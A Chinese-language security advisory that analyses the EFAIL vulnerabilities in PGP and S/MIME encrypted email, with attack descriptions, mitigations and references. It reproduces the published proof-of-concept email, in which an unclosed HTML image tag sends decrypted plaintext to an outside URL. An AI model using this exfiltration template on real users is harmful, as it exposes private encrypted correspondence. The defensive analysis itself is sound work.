CVE-2017-17688 & CVE-2017-17689 EFAIL攻击分析

阅读量    40227 |   稿费 120

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

0x00 背景介绍

一组研究人员今天发布了一篇论文,描述了最流行的电子邮件加密标准PGP(包括GPG)中一类新的严重漏洞。这篇新论文中包含一个POC,它可以让攻击者利用受害者自己的电子邮件客户端解密先前获取的消息,并将解密后的内容返回给攻击者,而不会提醒受害者。POC只是这种新型攻击的一种实现方式,因此在未来的几天中可能会出现许多变体。

 

0x01 漏洞概述

EFAIL攻击利用OpenPGP和S/MIME标准中的漏洞获取加密电子邮件的明文。简而言之,EFAIL使用HTML电子邮件中外部加载的图像或样式等动态内容,通过请求URL来悄悄传递解密后的明文。为了创建这些隐秘的传输通道,攻击者首先需要通过窃听网络流量,获取电子邮件帐户,电子邮件服务器,备份系统或邮件客户端的方式来访问加密的电子邮件。被窃取到的电子邮件甚至可能是在此之前的数年间逐步收集到的。攻击者以特定的方式更改加密的电子邮件,并将更改后的加密电子邮件发送给受害者。待受害者的电子邮件客户端解密电子邮件并加载任何外部内容时将明文返回给攻击者。

 

0x02 漏洞攻击面影响

攻击S / MIME客户端
](https://efail.de/media/efail-disclosure-smime.png
攻击PGP客户端:
](https://efail.de/media/efail-disclosure-pgp.png
直接渗取攻击:
](https://efail.de/media/efail-disclosure-direct.png

 

0x03 漏洞详情

技术细节:

目前曝光有两种主要的攻击方式,分别为直接渗取和CBC/CFB gadget

直接渗取(Direct Exfiltration)

直接利用Apple Mail,iOS Mail,Mozilla Thunderbird中的漏洞直接渗取到加密邮件的明文,这些漏洞可分别在各自的邮件客户端中修复.

直接渗取攻击大致如下所示,攻击者会创建一个包含三个正文部分的多块邮件,第一部分正文包含HTML image 标签的HTML体,要注意的是,这里的image标签src属性只有一个双引号”,而没有最后的双引号来闭合标签;第二部分正本包含PGP或者S/MIME密文;第三部分正文是HTML中的”>来闭合第一部分中未闭合的标签

From: attacker@efail.de
To: victim@company.com
Content-Type:multipart/mixed;boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://efail.de/
--BOUNDARY
Content-Type: application/pkcs7-mime;
  smime-type=enveloped-data
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHA6CAMIACAQAxggHXMIIB0wIB...
--BOUNDARY
Content-Type: text/html
">
--BOUNDARY

攻击者讲此电子邮件发送给受害者,受害者客户端收到邮件后会加密加密邮件中的第二个正文部分,并将正文部分拼接成一封HTML电子邮件,如下所示,需要注意的是,第1行中images标签的src属性在第4行中闭合了,因此受害者的电子邮件客户端会将解密后的明文发送给攻击者.

<img src="http://efail.de/
Secect meeting
Tomorrow 9pm
">

EFAIL的直接渗取的这种攻击方式适用于加密的PGP和S/MIME电子邮件.

CBC/CFB gadget

CBC/CFB gadget攻击通过利用OpenPGP和S/MIME规范中的漏洞以渗取到明文信息.下图描述了S/MIME中的CBC gadget的概念.根据CBC操作模式中的细节描述,如果攻击者知道明文位置的话的话可以精确地操纵邮件中的明文块.S/MIME 加密电子邮件通常以Content-Type: multipart/signed开头,因此攻击者至少知道一个完整的明文块的位置,如(a)所示,于是可以创建一个符合规范的内容全为0的明文块,如(b)所示,我们将X和C0的块对成为CBC gadget,在步骤(c)中,重复将CBC gadget附加到image标签中以插入密文块中,这会创建一个单独的密文块,当用户打开攻击者电子邮件时会自行清除其明文。OpenPGP使用CFB操作模式,该模式具有与CBC相同的加密属性,并允许使用CFB gadget进行相同的攻击。

这里的区别在于,任何符合标准的客户端都有可能遭到攻击,即使每个供应商能针对自己的部分作出修复措施但是也仍旧有可能遭到攻击.因而从长远来看有必要更新规范来解决根本问题并记录好这些更改.

虽然CBC/CFB gadget攻击PGP和S/MIME在技术上非常相似,但是成功实现攻击的差别较大,攻击S/MIME非常简单,攻击者可以通过向受害者发送单个精心制作的S / MIME电子邮件就能获取到多个(在我们的测试中多达500个)S / MIME加密邮件的明文内容。考虑到我们目前的研究,针对PGP的CFB gadget攻击只有大约三分之一的成功率。原因是PGP在加密之前压缩了明文,这使猜测已知明文字节变得复杂。我们认为无法从根本限制EFAIL攻击的效果,而更多的只是技术的难题而已,并且攻击在未来的研究中会变得更有效率。

 

缓解方案

– 短期临时方案:

不在邮件客户端中启用自动解密邮件

禁用邮件的HTML渲染

– 中期解决方案:

安装各供应商提供的补丁

– 终极解决方案:

更新OpenPGP和S/MIME标准,从根本上解决问题.

经过子午攻防实验室研判后确认,该漏洞风险等级较高,极大影响加密邮件的通信安全,影响范围广,短期内没有根本解决方案,需等待社区及官方讨论修改openPGP 和 S/MIME标准规范才能从根本上解决问题.请使用加密加密邮件的用户关注各客户端供应商的补丁信息,及时补上补丁,避免邮件泄密造成损失.禁用邮件的HTML渲染

 

Reference

  1. https://efail.de
  2. https://www.eff.org/deeplinks/2018/05/not-so-pretty-what-you-need-know-about-e-fail-and-pgp-flaw-0
  3. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17688

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多